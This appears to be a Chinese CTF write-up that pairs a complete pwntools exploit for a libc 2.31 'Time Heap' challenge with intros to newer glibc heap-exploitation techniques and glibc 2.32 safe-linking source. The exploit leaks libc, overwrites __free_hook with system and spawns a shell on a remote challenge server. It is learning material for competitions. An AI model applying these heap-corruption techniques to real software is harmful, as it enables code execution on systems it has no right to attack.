PWN Challenge Time Heap

题目信息

  1. libc 2.31
  2. 两次 add 机会,一次 add 两个
  3. 有 edit,有 show

解题思路

  1. free 之后用 edit 绕过检测,free 7 个 tcache chunk。
  2. 再次 free 之后就会进入 unsorted bin,leak libc
  3. 修改 next 指针到__free_hook(申请的第二个堆块会申请到),并且修改为 system。
  4. free 触发 system
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

#r = process('./time_heap')
r = remote('nc.eonew.cn', 10015)
context.log_level = "debug"
libc = ELF('libc2.31/libc.so.6')
def choice(idx):
    r.sendlineafter("Your choice: ", str(idx))


def add(size, content='a', remark='b'):
    choice(1)
    r.sendlineafter("Size: ", str(size))
    r.sendafter("Content: ", content)
    r.sendafter("Remark: ", remark)


def delete(idx):
    choice(2)
    r.sendlineafter("Index: ", str(idx))


def edit(idx, content='a', remark='b'):
    choice(3)
    r.sendlineafter("Index: ", str(idx))
    r.sendafter("Content: ", content)
    r.sendafter("Remark: ", remark)


def show(idx):
    choice(4)
    r.sendlineafter("Index: ", str(idx))


add(0x88) #0
for i in range(7):
    delete(0)
    edit(0, 'a' * 0x10)
delete(0)
show(0)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 96 - 0x10
libc.address = malloc_hook_addr - libc.sym['__malloc_hook']
log.success("libc_base: " + hex(libc.address))
edit(0, p64(libc.sym['__free_hook']))
add(0x88, '/bin/sh\x00', p64(libc.sym['system']))
delete(1)
r.interactive()

Nepctf PWN Writeup

这次比赛作为新生赛,存在着一部分低难度的题目,同样也存在着利用技巧性较高的题目,更是有着最新glibc2.32堆题的内容,值得各位师傅尝试着去复现一下。 我复现了全部的LINUX PWN题,这里把复现过程中遇到的一些问题和知识点给大家呈现。 在此Writeup即将完工之际,官方wp恰好也发出了,但是有些细节还不够详细,我这里对一些官方没有提及到的一些细节做了解释,以及对常用的攻击IO方法做了总结,方便各位师傅学习与复现。

Glibc 2.29-2.32 Off by Null Bypass

简介

在glibc2.29以上版本,glibc在unlink内加入了prevsize check,而通过off by null漏洞根本无法直接修改正常chunk的size,导致想要unlink变得几乎不可能。

Glibc 2.27-2.32版本下Tcache Struct的溢出利用

简介

在高版本的glibc中安全机制也比较完善,就算我们找到漏洞,构造出堆块重叠,也常常难以得到任意读写的方法。在VNCTF2021的比赛中LittleReadFlower这道题目引入了一种全新的漏洞利用方式,通过修改tcache数量限制,使得tcache结构溢出到后部可控区域,来达到任意读写的目的。

Glibc2.32上tcache和fastbin的改动

新增的保护

在tcache中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
static __always_inline void 
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;
  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

在fastbin中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
if (SINGLE_THREAD_P)  
{
    /* Check that the top of the bin is not the record we are going to
        add (i.e., double free).  */
    if (__builtin_expect(old == p, 0))
        malloc_printerr("double free or corruption (fasttop)");
    p->fd = PROTECT_PTR(&p->fd, old);
    *fb = p;
}
else
    do
    {
        /* Check that the top of the bin is not the record we are going to
            add (i.e., double free).  */
        if (__builtin_expect(old == p, 0))
            malloc_printerr("double free or corruption (fasttop)");
        old2 = old;
        p->fd = PROTECT_PTR(&p->fd, old);
    } while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2))
        != old2);

加密指针的方式

可以发现,在原来的next位置不再是直接记录next的位置信息,而是通过一定的手段来加密,现在来看一下这个加密的信息。

0%